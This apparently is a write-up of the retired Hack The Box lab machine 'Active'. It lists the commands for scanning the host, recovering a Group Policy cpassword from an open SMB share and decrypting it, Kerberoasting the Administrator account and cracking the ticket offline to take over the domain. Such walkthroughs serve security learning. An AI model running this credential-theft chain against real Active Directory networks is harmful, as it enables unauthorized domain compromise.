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Hackthebox.eu - Retired - Active


Hackthebox.eu - Retired - Active

Recon




As always  I start with a simple Up/Down scan on TCP ports to see what is open
# nmap -T4 -p- -oX /root/Desktop/HTB/Active/nmapb.xml 10.10.10.100




A bunch of open ports… Let's scan again on those ports with -A to see if we can finger OS/Services
# nmap -T4 -A -p53,88,135,139,389,445,464,593,636,3268,3269,9389,47001,49152,49153,49154,49155,49157,49158,19469,49170,49180 -oX /root/Desktop/HTB/Active/nmapf.xml 10.10.10.100







Lots of ports open  53 for dns
Netbios
Ldap


Since this is a windows computer with smb let's see what we might find via smb











Exploit


Let's map the shares
Smbmap -H 10.10.10.100



There is only one share that we can connect to so let's see what's there.

oot@kali-iMac:~# smbclient //10.10.10.100/replication
Enter WORKGROUP\root's password: 
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D 0 Sat Jul 21 03:37:44 2018
  ..                                  D 0 Sat Jul 21 03:37:44 2018
  active.htb                          D 0 Sat Jul 21 03:37:44 2018

10459647 blocks of size 4096. 4931605 blocks available


After digging around in the share I found a Groups.XML in a directory. I downloaded the file to my computer using GET 


Found a CPassword in here

cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

So theoretically this cpassword is the password for active.hbt\SVC_TGS

Which is assume is an Active Directory service account.


I put the cpassword through the built in decyrption in kali to break this password gpp-decrypt

root@kali-iMac:~/Desktop# gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated
GPPstillStandingStrong2k18


So let's try enumerating again with this user/pass

active.htb\SVC_TGS 
GPPstillStandingStrong2k18





Now we have access to a bunch more shares :)


Parks And Recreation Win GIF by HULU

OK we can now get in the Users folder


Still can't get to the admin password lets find a way to get there.


Kerberoast is what we will use to get this info

"Any valid domain user can request a kerberos ticket for any domain service (or even services outside the domain as long as there is a trust there). Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as. The users running these services usually are at the very least administrators on the computers for which they are a service on, but more commonly they are some sort of administrative account (Domain Admins)."


So we will use their tool to request a ticket

You will need to add 10.10.10.100  active.htb to your /etc/hosts to use this tool
# ./GetUserSPNs.py -request active.htb/SVC_TGS




Looks like we get a ticket back for the Administrators account.

I'm going to run that script again but save the output to  a file

We end up with this as a file

Now let's throw this at john using rockyou.txt to see if we can get this password


We got a pass

Ticketmaster1968

Let's use that to get to our hash for administrator

I connected up to the C$ share to see all the files under C:\ using the administrator login and pass


root
b5fc*******************



User
86d6******************

Go Season 9 GIF by Curb Your Enthusiasm


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